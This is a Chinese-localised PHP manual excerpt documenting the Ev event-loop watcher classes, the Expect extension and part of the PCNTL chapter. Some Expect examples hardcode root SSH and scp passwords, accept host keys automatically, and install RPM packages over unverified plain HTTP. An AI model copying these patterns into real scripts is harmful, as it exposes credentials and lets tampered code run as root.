Returns a stopped EvStat watcher object on success.

参见

  • EvStat::__construct() - Constructs EvStat watcher object
  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


Returns the previous set of values returned by EvStat::attr

  • ? EvStat::createStopped
  • EvStat::set ?
  • PHP Manual
  • EvStat
  • Returns the previous set of values returned by EvStat::attr

EvStat::prev

(PECL ev >= 0.2.0)

EvStat::prev — Returns the previous set of values returned by EvStat::attr

说明

public EvStat::prev(): void

Just like EvStat::attr() , but returns the previous set of values.

参数

此函数没有参数。

返回值

Returns an array with the same structure as the array returned by EvStat::attr() . The array contains previously detected values.

参见

  • EvStat::attr() - Returns the values most recently detected by Ev
  • EvStat::stat() - Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ? EvStat::prev
  • EvStat::stat ?
  • PHP Manual
  • EvStat
  • Configures the watcher

EvStat::set

(PECL ev >= 0.2.0)

EvStat::set — Configures the watcher

说明

public EvStat::set( string $path , float $interval ): void

Configures the watcher.

参数

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Initiates the stat call

  • ? EvStat::set
  • EvTimer ?
  • PHP Manual
  • EvStat
  • Initiates the stat call

EvStat::stat

(PECL ev >= 0.2.0)

EvStat::stat — Initiates the stat call

说明

public EvStat::stat(): bool

Initiates the stat call(updates internal cache). It stats(using lstat ) the path specified in the watcher and sets to the values found.

参数

此函数没有参数。

返回值

Returns true if path exists. Otherwise false.

参见

  • EvStat::attr() - Returns the values most recently detected by Ev
  • EvStat::prev() - Returns the previous set of values returned by EvStat::attr

User Contributed Notes

There are no user contributed notes for this page.


The EvTimer class

(PECL ev >= 0.2.0)

简介

EvTimer watchers are simple relative timers that generate an event after a given time, and optionally repeating in regular intervals after that.

The timers are based on real time, that is, if one registers an event that times out after an hour and resets the system clock to January last year , it will still time out after(roughly) one hour. "Roughly" because detecting time jumps is hard, and some inaccuracies are unavoidable.

The callback is guaranteed to be invoked only after its timeout has passed (not at, so on systems with very low-resolution clocks this might introduce a small delay). If multiple timers become ready during the same loop iteration then the ones with earlier time-out values are invoked before ones of the same priority with later time-out values (but this is no longer true when a callback calls EvLoop::run() recursively).

The timer itself will do a best-effort at avoiding drift, that is, if a timer is configured to trigger every 10 seconds, then it will normally trigger at exactly 10 second intervals. If, however, the script cannot keep up with the timer because it takes longer than those 10 seconds to do) the timer will not fire more than once per event loop iteration.

类摘要

class EvTimer extends EvWatcher {
/* 属性 */
public $repeat;
public $remaining;
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
public again(): void
final public static createStopped(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvTimer
public set( float $after , float $repeat ): void
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

属性

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

remaining

Returns the remaining time until a timer fires. If the timer is active, then this time is relative to the current event loop time, otherwise it's the timeout value currently configured.

That is, after instanciating an EvTimer with an after value of 5.0 and repeat value of 7.0 , remaining returns 5.0 . When the timer is started and one second passes, remaining will return 4.0 . When the timer expires and is restarted, it will return roughly 7.0 (likely slightly less as callback invocation takes some time too), and so on.

Table of Contents

  • EvTimer::again — Restarts the timer watcher
  • EvTimer::__construct — Constructs an EvTimer watcher object
  • EvTimer::createStopped — Creates EvTimer stopped watcher object
  • EvTimer::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Restarts the timer watcher

  • ? EvTimer
  • EvTimer::__construct ?
  • PHP Manual
  • EvTimer
  • Restarts the timer watcher

EvTimer::again

(PECL ev >= 0.2.0)

EvTimer::again — Restarts the timer watcher

说明

public EvTimer::again(): void

This will act as if the timer timed out and restart it again if it is repeating. The exact semantics are:

  1. if the timer is pending, its pending status is cleared.

  2. if the timer is started but non-repeating, stop it (as if it timed out).

  3. if the timer is repeating, either start it if necessary (with the repeat value), or reset the running timer to the repeat value.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EvWatcher::stop() - Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs an EvTimer watcher object

  • ? EvTimer::again
  • EvTimer::createStopped ?
  • PHP Manual
  • EvTimer
  • Constructs an EvTimer watcher object

EvTimer::__construct

(PECL ev >= 0.2.0)

EvTimer::__construct — Constructs an EvTimer watcher object

说明

public EvTimer::__construct(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Constructs an EvTimer watcher object.

参数

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

示例

Example #1 Simple timers

<?php
// Create and start timer firing after 2 seconds
$w1 = new EvTimer(2, 0, function () {
echo "2 seconds elapsed\n";
});

// Create and launch timer firing after 2 seconds repeating each second
// until we manually stop it
$w2 = new EvTimer(2, 1, function ($w) {
echo "is called every second, is launched after 2 seconds\n";
echo "iteration = ", Ev::iteration(), PHP_EOL;

// Stop the watcher after 5 iterations
Ev::iteration() == 5 and $w->stop();
// Stop the watcher if further calls cause more than 10 iterations
Ev::iteration() >= 10 and $w->stop();
});

// Create stopped timer. It will be inactive until we start it ourselves
$w_stopped = EvTimer::createStopped(10, 5, function($w) {
echo "Callback of a timer created as stopped\n";

// Stop the watcher after 2 iterations
Ev::iteration() >= 2 and $w->stop();
});

// Loop until Ev::stop() is called or all of watchers stop
Ev::run();

// Start and look if it works
$w_stopped->start();
echo "Run single iteration\n";
Ev::run(Ev::RUN_ONCE);

echo "Restart the second watcher and try to handle the same events, but don't block\n";
$w2->again();
Ev::run(Ev::RUN_NOWAIT);

$w = new EvTimer(10, 0, function() {});
echo "Running a blocking loop\n";
Ev::run();
echo "END\n";
?>

以上示例的输出类似于：

2 seconds elapsed
is called every second, is launched after 2 seconds
iteration = 1
is called every second, is launched after 2 seconds
iteration = 2
is called every second, is launched after 2 seconds
iteration = 3
is called every second, is launched after 2 seconds
iteration = 4
is called every second, is launched after 2 seconds
iteration = 5
Run single iteration
Callback of a timer created as stopped
Restart the second watcher and try to handle the same events, but don't block
Running a blocking loop
is called every second, is launched after 2 seconds
iteration = 8
is called every second, is launched after 2 seconds
iteration = 9
is called every second, is launched after 2 seconds
iteration = 10
END

参见

  • EvTimer::createStopped() - Creates EvTimer stopped watcher object
  • EvPeriodic
  • » ev_timer - relative and optionally repeating timeouts
  • » Be smart about timeouts

User Contributed Notes

Jayesh Wadhwani 30-Jul-2013 02:56
Example of passing custom data:

<?php
// Create and start timer firing after 2 seconds with custom data
$w1 = new EvTimer(2, 0, function ($w) {
    echo "Custom data: $w->data\n";
    echo "2 seconds elapsed\n";
}, 'abcd');
Ev::run();
?>
Running this will print out:
Custom data: abcd
2 seconds elapsed

Note that 'data' is a public property of the event EvWatcher class.


Creates EvTimer stopped watcher object

  • ? EvTimer::__construct
  • EvTimer::set ?
  • PHP Manual
  • EvTimer
  • Creates EvTimer stopped watcher object

EvTimer::createStopped

(PECL ev >= 0.2.0)

EvTimer::createStopped — Creates EvTimer stopped watcher object

说明

final public static EvTimer::createStopped(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvTimer

Creates EvTimer stopped watcher object. Unlike EvTimer::__construct() , this method doesn't start the watcher automatically.

参数

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Returns EvTimer watcher object on success.

示例

Example #1 Monotor changes of /var/log/messages. Avoid missing updates by means of one second delay

<?php
$timer = EvTimer::createStopped(0., 1.02, function ($w) {
$w->stop();

$stat = $w->data;

// 1 second after the most recent change of the file
printf("Current size: %ld\n", $stat->attr()['size']);
});

$stat = new EvStat("/var/log/messages", 0., function () use ($timer) {
// Reset timer watcher
$timer->again();
});

$timer->data = $stat;

Ev::run();
?>

参见

  • EvTimer::__construct() - Constructs an EvTimer watcher object
  • EvPeriodic

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ? EvTimer::createStopped
  • EvWatcher ?
  • PHP Manual
  • EvTimer
  • Configures the watcher

EvTimer::set

(PECL ev >= 0.2.0)

EvTimer::set — Configures the watcher

说明

public EvTimer::set( float $after , float $repeat ): void

Configures the watcher

参数

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The EvWatcher class

(PECL ev >= 0.2.0)

简介

EvWatcher is a base class for all watchers( EvCheck , EvChild etc.). Since EvWatcher 's constructor is abstract , one can't(and don't need to) create EvWatcher objects directly.

类摘要

abstract class EvWatcher {
/* 属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
abstract public __construct()
public clear(): int
public feed( int $revents ): void
public getLoop(): EvLoop
public invoke( int $revents ): void
public keepalive( bool $value = ?): bool
public setCallback( callable $callback ): void
public start(): void
public stop(): void
}

属性

is_active

Readonly . true if the watcher is active. false otherwise.

data

User custom data associated with the watcher

is_pending

Readonly .true if the watcher is pending, i.e. it has outstanding events, but its callback has not yet been invoked. false otherwise. As long, as a watcher is pending(but not active), one must not change its priority.

priority

int between Ev::MINPRI and Ev::MAXPRI . Pending watchers with higher priority will be invoked before watchers with lower priority, but priority will not keep watchers from being executed(except for EvIdle watchers). EvIdle watchers provide functionality to suppress invocation when higher priority events are pending.

Table of Contents

  • EvWatcher::clear — Clear watcher pending status
  • EvWatcher::__construct — Abstract constructor of a watcher object
  • EvWatcher::feed — Feeds the given revents set into the event loop
  • EvWatcher::getLoop — Returns the loop responsible for the watcher
  • EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask
  • EvWatcher::keepalive — Configures whether to keep the loop from returning
  • EvWatcher::setCallback — Sets new callback for the watcher
  • EvWatcher::start — Starts the watcher
  • EvWatcher::stop — Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Clear watcher pending status

  • ? EvWatcher
  • EvWatcher::__construct ?
  • PHP Manual
  • EvWatcher
  • Clear watcher pending status

EvWatcher::clear

(PECL ev >= 0.2.0)

EvWatcher::clear — Clear watcher pending status

说明

public EvWatcher::clear(): int

If the watcher is pending, this method clears its pending status and returns its revents bitset(as if its callback was invoked). If the watcher isn't pending it does nothing and returns 0 .

Sometimes it can be useful to "poll" a watcher instead of waiting for its callback to be invoked, which can be accomplished with this function.

参数

此函数没有参数。

返回值

In case if the watcher is pending, returns revents bitset as if the watcher callback had been invoked. Otherwise returns 0 .

User Contributed Notes

There are no user contributed notes for this page.


Abstract constructor of a watcher object

  • ? EvWatcher::clear
  • EvWatcher::feed ?
  • PHP Manual
  • EvWatcher
  • Abstract constructor of a watcher object

EvWatcher::__construct

(PECL ev >= 0.2.0)

EvWatcher::__construct — Abstract constructor of a watcher object

说明

abstract public EvWatcher::__construct()

EvWatcher::__construct() is an abstract constructor of a watcher object implemented in the derived classes.

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Feeds the given revents set into the event loop

  • ? EvWatcher::__construct
  • EvWatcher::getLoop ?
  • PHP Manual
  • EvWatcher
  • Feeds the given revents set into the event loop

EvWatcher::feed

(PECL ev >= 0.2.0)

EvWatcher::feed — Feeds the given revents set into the event loop

说明

public EvWatcher::feed( int $revents ): void

Feeds the given revents set into the event loop, as if the specified event had happened for the watcher.

参数

revents

Bit mask of watcher received events .

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Returns the loop responsible for the watcher

  • ? EvWatcher::feed
  • EvWatcher::invoke ?
  • PHP Manual
  • EvWatcher
  • Returns the loop responsible for the watcher

EvWatcher::getLoop

(PECL ev >= 0.2.0)

EvWatcher::getLoop — Returns the loop responsible for the watcher

说明

public EvWatcher::getLoop(): EvLoop

Returns the loop responsible for the watcher

参数

此函数没有参数。

返回值

Returns EvLoop event loop object responsible for the watcher.

User Contributed Notes

There are no user contributed notes for this page.


Invokes the watcher callback with the given received events bit mask

  • ? EvWatcher::getLoop
  • EvWatcher::keepalive ?
  • PHP Manual
  • EvWatcher
  • Invokes the watcher callback with the given received events bit mask

EvWatcher::invoke

(PECL ev >= 0.2.0)

EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask

说明

public EvWatcher::invoke( int $revents ): void

Invokes the watcher callback with the given received events bit mask.

参数

revents

Bit mask of watcher received events .

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Configures whether to keep the loop from returning

  • ? EvWatcher::invoke
  • EvWatcher::setCallback ?
  • PHP Manual
  • EvWatcher
  • Configures whether to keep the loop from returning

EvWatcher::keepalive

(PECL ev >= 0.2.0)

EvWatcher::keepalive — Configures whether to keep the loop from returning

说明

public EvWatcher::keepalive( bool $value = ?): bool

Configures whether to keep the loop from returning. With keepalive value set to false the watcher won't keep Ev::run() / EvLoop::run() from returning even though the watcher is active.

Watchers have keepalive value true by default.

Clearing keepalive status is useful when returning from Ev::run() / EvLoop::run() just because of the watcher is undesirable. It could be a long running UDP socket watcher or so.

参数

value

With keepalive value set to false the watcher won't keep Ev::run() / EvLoop::run() from returning even though the watcher is active.

返回值

Returns the previous state.

示例

Example #1 Register an I/O watcher for some UDP socket but do not keep the event loop from running just because of that watcher.

<?php
$udp_socket = ...
$udp_watcher = new EvIo($udp_socket, Ev::READ, function () { /* ... */ });
$udp_watcher->keepalive(FALSE);
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets new callback for the watcher

  • ? EvWatcher::keepalive
  • EvWatcher::start ?
  • PHP Manual
  • EvWatcher
  • Sets new callback for the watcher

EvWatcher::setCallback

(PECL ev >= 0.2.0)

EvWatcher::setCallback — Sets new callback for the watcher

说明

public EvWatcher::setCallback( callable $callback ): void

Sets new callback for the watcher

参数

callback

See Watcher callbacks .

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Starts the watcher

  • ? EvWatcher::setCallback
  • EvWatcher::stop ?
  • PHP Manual
  • EvWatcher
  • Starts the watcher

EvWatcher::start

(PECL ev >= 0.2.0)

EvWatcher::start — Starts the watcher

说明

public EvWatcher::start(): void

Marks the watcher as active. Note that only active watchers will receive events.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EvWatcher::stop() - Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Stops the watcher

  • ? EvWatcher::start
  • Expect ?
  • PHP Manual
  • EvWatcher
  • Stops the watcher

EvWatcher::stop

(PECL ev >= 0.2.0)

EvWatcher::stop — Stops the watcher

说明

public EvWatcher::stop(): void

Marks the watcher as inactive. Note that only active watchers will receive events.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


Expect

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Expect Usage Examples
  • Expect 函数
    • expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen
    • expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension allows to interact with processes through PTY. You may consider using the expect:// wrapper with the filesystem functions which provide a simpler and more intuitive interface.

User Contributed Notes

There are no user contributed notes for this page.


需求

This module uses the functions of the » expect library. You need libexpect version >= 5.43.0.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。 安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/expect.

In order to use these functions you must compile PHP with expect support by using the --with-expect[=DIR] configure option.

Windows users will enable php_expect.dll inside of php.ini in order to use these functions. PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

In order to configure expect extension, there are configuration options in the configuration file php.ini.

Expect 配置选项
名字 | 默认 | 可修改范围 | Changelog
expect.timeout | "10" | PHP_INI_ALL |
expect.loguser | "1" | PHP_INI_ALL |
expect.logfile | "" | PHP_INI_ALL |
expect.match_max | "" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

expect.timeout int

The timeout period for waiting for the data, when using the expect_expectl() function.

A value of "-1" disables a timeout from occurring.

Note:

A value of "0" causes the expect_expectl() function to return immediately.

expect.loguser bool

Whether expect should send any output from the spawned process to stdout. Since interactive programs typically echo their input, this usually suffices to show both sides of the conversation.

expect.logfile string

Name of the file, where the output from the spawned process will be written. If this file doesn't exist, it will be created.

Note:

If this configuration is not empty, the output is written regardless of the value of expect.loguser.

expect.match_max int

Changes default size (2000 bytes) of the buffer used to match asterisks in patterns.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

expect_popen() returns an open PTY stream used by expect_expectl().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

EXP_GLOB (int)
Indicates that the pattern is a glob-style string pattern.
EXP_EXACT (int)
Indicates that the pattern is an exact string.
EXP_REGEXP (int)
Indicates that the pattern is a regexp-style string pattern.
EXP_EOF (int)
Value, returned by expect_expectl(), when EOF is reached.
EXP_TIMEOUT (int)
Value, returned by expect_expectl() upon timeout of seconds, specified in value of expect.timeout
EXP_FULLBUFFER (int)
Value, returned by expect_expectl() if no pattern have been matched.

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Expect Usage Examples

User Contributed Notes

There are no user contributed notes for this page.


Expect Usage Examples

Example #1 Expect Usage Example

This example connects to the remote host via SSH, and prints the remote uptime.

<?php
ini_set("expect.loguser", "Off");

$stream = fopen("expect://ssh root@remotehost uptime", "r");

$cases = array (
array (0 => "password:", 1 => PASSWORD)
);

switch (expect_expectl ($stream, $cases)) {
case PASSWORD:
fwrite ($stream, "password\n");
break;

default:
die ("Error was occurred while connecting to the remote host!\n");
}

while ($line = fgets($stream)) {
print $line;
}
fclose ($stream);
?>

The following example connects to the remote host, determines whether installed OS is for 32 or 64 bit, then runs update for specific package.

Example #2 Another Expect Usage Example

<?php
ini_set("expect.timeout", -1);
ini_set("expect.loguser", "Off");

$stream = expect_popen("ssh root@remotehost");

while (true) {
switch (expect_expectl ($stream, array (
array ("password:", PASSWORD), // SSH is asking for password
array ("yes/no)?", YESNO), // SSH is asking whether to store the host entry
array ("~$ ", SHELL, EXP_EXACT), // We've got the shell!
))) {
case PASSWORD:
fwrite ($stream, "secret\n");
break;

case YESNO:
fwrite ($stream, "yes\n");
break;

case SHELL:
fwrite ($stream, "uname -a\n");
while (true) {
switch (expect_expectl ($stream, array (
array ("~$ ", SHELL, EXP_EXACT), // We've got the shell!
array ("^Linux.*$", UNAME, EXP_REGEXP), // uname -a output
), $match)) {
case UNAME:
$uname .= $match[0];
break;

case SHELL:
// Run update:
if (strstr ($uname, "x86_64")) {
fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_64bit.rpm\n");
} else {
fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_32bit.rpm\n");
}
fwrite ($stream, "exit\n");
break 2;

case EXP_TIMEOUT:
case EXP_EOF:
break 2;

default:
die ("Error has occurred!\n");
}
}
break 2;

case EXP_TIMEOUT:
case EXP_EOF:
break 2;

default:
die ("Error has occurred!\n");
}
}

fclose ($stream);
?>

User Contributed Notes

David dkxl 28-Dec-2012 06:30
If using the examples with telnet instead of ssh, note that telnet may need \r (Carriage Return) instead of \n (New Line)


Expect 函数

Table of Contents

  • expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen
  • expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.


Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen

  • ? Expect 函数
  • expect_popen ?
  • PHP Manual
  • Expect 函数
  • Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen

expect_expectl

(PECL expect >= 0.1.0)

expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen

说明

expect_expectl(resource $expect, array $cases, array &$match = ?): int

Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen.

If match is provided, then it is filled with the result of search. The matched string can be found in match[0]. The match substrings (according to the parentheses) in the original pattern can be found in match[1], match[2], and so on, up to match[9] (the limitation of libexpect).

参数

expect

An Expect stream, previously opened with expect_popen().

cases

An array of expect cases. Each expect case is an indexed array, as described in the following table:

Expect Case Array
Index Key | Value Type | Description | Is Mandatory | Default Value
0 | string | pattern, that will be matched against the output from the stream | yes
1 | mixed | value, that will be returned by this function, if the pattern matches | yes
2 | integer | pattern type, one of: EXP_GLOB, EXP_EXACT or EXP_REGEXP | no | EXP_GLOB

返回值

Returns value associated with the pattern that was matched.

On failure this function returns: EXP_EOF, EXP_TIMEOUT or EXP_FULLBUFFER

更新日志

版本 | 说明
PECL expect 0.2.1 | Prior to version 0.2.1, in match parameter a match string was returned, not an array of match substrings.

示例

Example #1 expect_expectl() example

<?php
// Copies file from remote host:
ini_set("expect.timeout", 30);

$stream = fopen("expect://scp user@remotehost:/var/log/messages /home/user/messages.txt", "r");

$cases = array(
// array(pattern, value to return if pattern matched)
array("password:", "asked for password"),
array("yes/no)?", "asked for yes/no")
);

while (true) {
switch (expect_expectl($stream, $cases)) {
case "asked for password":
fwrite($stream, "my password\n");
break;
case "asked for yes/no":
fwrite($stream, "yes\n");
break;
case EXP_TIMEOUT:
case EXP_EOF:
break 2; // break both the switch statement and the while loop
default:
die("Error has occurred!");
}
}

fclose($stream);
?>

参见

  • expect_popen() - Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.


Execute command via Bourne shell, and open the PTY stream to the process

  • ? expect_expectl
  • PCNTL ?
  • PHP Manual
  • Expect 函数
  • Execute command via Bourne shell, and open the PTY stream to the process

expect_popen

(PECL expect >= 0.1.0)

expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

说明

expect_popen(string $command): resource

Execute command via Bourne shell, and open the PTY stream to the process.

参数

command

Command to execute.

返回值

Returns an open PTY stream to the processes stdio, stdout, and stderr.

On failure this function returns false.

示例

Example #1 expect_popen() example

<?php
// Login to the PHP.net CVS repository:
$stream = expect_popen ("cvs -d :pserver:anonymous@cvs.php.net:/repository login");
sleep (3);
fwrite ($stream, "phpfi\n");
fclose ($stream);
?>

参见

  • popen() - 打开进程文件指针

User Contributed Notes

There are no user contributed notes for this page.


进程控制

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • 基本用法
  • PCNTL 函数
    • pcntl_alarm — 为进程设置 alarm 闹钟信号
    • pcntl_async_signals — Enable/disable asynchronous signal handling or return the old setting
    • pcntl_errno — 别名 pcntl_get_last_error
    • pcntl_exec — 在当前进程空间执行指定程序
    • pcntl_fork — 在当前进程当前位置产生分叉（fork）
    • pcntl_get_last_error — Retrieve the error number set by the last pcntl function which failed
    • pcntl_getpriority — 获取任意进程的优先级
    • pcntl_rfork — Manipulates process resources
    • pcntl_setpriority — 修改任意进程的优先级
    • pcntl_signal_dispatch — 调用等待信号的处理程序
    • pcntl_signal_get_handler — Get the current handler for specified signal
    • pcntl_signal — 安装信号处理程序
    • pcntl_sigprocmask — 设置或检索阻塞信号
    • pcntl_sigtimedwait — 带超时机制的信号等待
    • pcntl_sigwaitinfo — 等待信号
    • pcntl_strerror — Retrieve the system error message associated with the given errno
    • pcntl_unshare — Dissociates parts of the process execution context
    • pcntl_wait — 等待或返回 fork 的子进程状态
    • pcntl_waitpid — 等待或返回 fork 的子进程状态
    • pcntl_wexitstatus — 返回一个中断的子进程的返回代码
    • pcntl_wifexited — 检查状态代码是否代表一个正常的退出
    • pcntl_wifsignaled — 检查子进程状态码是否代表由于某个信号而中断
    • pcntl_wifstopped — 检查子进程当前是否已经停止
    • pcntl_wstopsig — 返回导致子进程停止的信号
    • pcntl_wtermsig — 返回导致子进程中断的信号

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP 的进程控制支持实现了 Unix 方式的进程创建, 程序执行, 信号处理以及进程的中断。 进程控制不能被应用在 Web 服务器环境，当其被用于 Web 服务环境时可能会带来意外的结果。

这份文档用于阐述每个进程控制函数的通常用法。关于 Unix 进程控制的更多信息建议查阅 系统文档中关于 fork（2）、waitpid（2）、signal（2）等的部分或更全面的参考资料比如 《Unix 环境高级编程》（作者：W. Richard Stevens、Addison-Wesley 出版）。

PCNTL 现在使用了 ticks 作为信号处理的回调机制，ticks 在速度上远远超过了之前的处理机制。 这个变化与"用户 ticks"遵循了相同的语义。您可以使用 declare() 语句在程序中指定允许发生回调的位置。这使得我们对异步事件处理的开销最小化。在编译 PHP 时 启用 pcntl 将始终承担这种开销，不论脚本中是否真正使用了 pcntl。

Note: 此扩展在 Windows 平台上不可用。

User Contributed Notes

InvisibleSmiley 09-Nov-2020 08:34
The disabling of pcntl functions not only affects Apache servers but any non-CLI setup, e.g. nginx with PHP-FPM.

You can tell by issuing phpinfo() and looking at "disable_functions" in the Core section of the output.

It's also worth noting that this behavior can be quite misleading when you call one of the pcntl functions in a namespaced context. For example you may get:

"Call to undefined function some\custom\namespace\pcntl_signal()"

when calling pcntl_signal from a method within a namespaced class. Your first instinct may be to add a leading backslash, but that won't solve the problem. You need to check whether the function exists at runtime, unless the code is only ever executed from the CLI.
Rick Sustek 15-Jun-2016 09:02
Actually it makes perfect sense why process control features are not supported for the Apache module. The Apache HTTP server is the chief process. It invokes the PHP module when steered to PHP by the resource requested (e.g. http://foo.php) It invokes the PHP module, typically on a new thread or a pooled thread. The PHP module then runs your script, but Apache server is still the owning process.

In this execution model, the job of your PHP script is generally to go about its business as fast as possible and return. This allows the Apache daemon to do something else useful with the thread it let you borrow. Yes, some scripts take longer to do their duty than others, but blocking the thread for extended periods is usually frowned upon.

If your script was allowed to mess with the signal handlers of the running process, it would be messing with the Apache daemon itself! That daemon has already installed signal handlers for its own use. It is just plain sense not to allow the process control operations in this context.
sean dot kelly at mediatile dot com 09-Jan-2012 01:32
The following statement left me searching for answers for about a day before I finally clued in:

"Process Control should not be enabled within a web server environment and unexpected results may happen if any Process Control functions are used within a web server environment."

At least for PHP 5.3.8 which I am using, and who knows how far back, it's not a matter of "should not", it's "can not". Even though I have compiled in PCNTL with --enable-pcntl, it turns out that it only compiles in to the CLI version of PHP, not the Apache module. As a result, I spent many hours trying to track down why function_exists('pcntl_fork') was returning false even though it compiled correctly. It turns out it returns true just fine from the CLI, and only returns false for HTTP requests. The same is true of ALL of the pcntl_*() functions.


安装

在 PHP 中进程控制支持默认关闭。需要使用 --enable-pcntl 配置选项重新编译 PHP 的 CGI 或 CLI 版本以打开进程控制支持。

Note:

当前，这个模块没有非 Unix 平台可用的函数（即非 Unix 类系统不支持此模块）。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下面列出的信号列表用于支持进程控制函数。关于这些信号默认行为的更详细信息请查看您系统的 signal（7）man 手册

进程控制常量
WNOHANG (int)
WUNTRACED (int)
SIG_* 常量
SIG_IGN (int)
SIG_DFL (int)
SIG_ERR (int)
SIGHUP (int)
SIGINT (int)
SIGQUIT (int)
SIGILL (int)
SIGTRAP (int)
SIGABRT (int)
SIGIOT (int)
SIGBUS (int)
SIGFPE (int)
SIGKILL (int)
SIGUSR1 (int)
SIGSEGV (int)
SIGUSR2 (int)
SIGPIPE (int)
SIGALRM (int)
SIGTERM (int)
SIGSTKFLT (int)
SIGCLD (int)
SIGCHLD (int)
SIGCONT (int)
SIGSTOP (int)
SIGTSTP (int)
SIGTTIN (int)
SIGTTOU (int)
SIGURG (int)
SIGXCPU (int)
SIGXFSZ (int)
SIGVTALRM (int)
SIGPROF (int)
SIGWINCH (int)
SIGPOLL (int)
SIGIO (int)
SIGPWR (int)
SIGSYS (int)
SIGBABY (int)
SIG_BLOCK (int)
SIG_UNBLOCK (int)
SIG_SETMASK (int)
SI_* 常量
SI_USER (int)
SI_NOINFO (int)
SI_KERNEL (int)
SI_QUEUE (int)
SI_TIMER (int)
SI_MSGGQ (int)
SI_ASYNCIO (int)
SI_SIGIO (int)
SI_TKILL (int)
CLD_* 常量
CLD_EXITED (int)
CLD_KILLED (int)
CLD_DUMPED (int)
CLD_TRAPPED (int)
CLD_STOPPED (int)
CLD_CONTINUED (int)
TRAP_* 常量
TRAP_BRKPT (int)
TRAP_TRACE (int)
POLL_* 常量
POLL_IN (int)
POLL_OUT (int)
POLL_MSG (int)
POLL_ERR (int)
POLL_PRI (int)
POLL_HUP (int)
ILL_* 常量
ILL_ILLOPC (int)
ILL_ILLOPN (int)
ILL_ILLADR (int)
ILL_ILLTRP (int)
ILL_PRVOPC (int)
ILL_PRVREG (int)
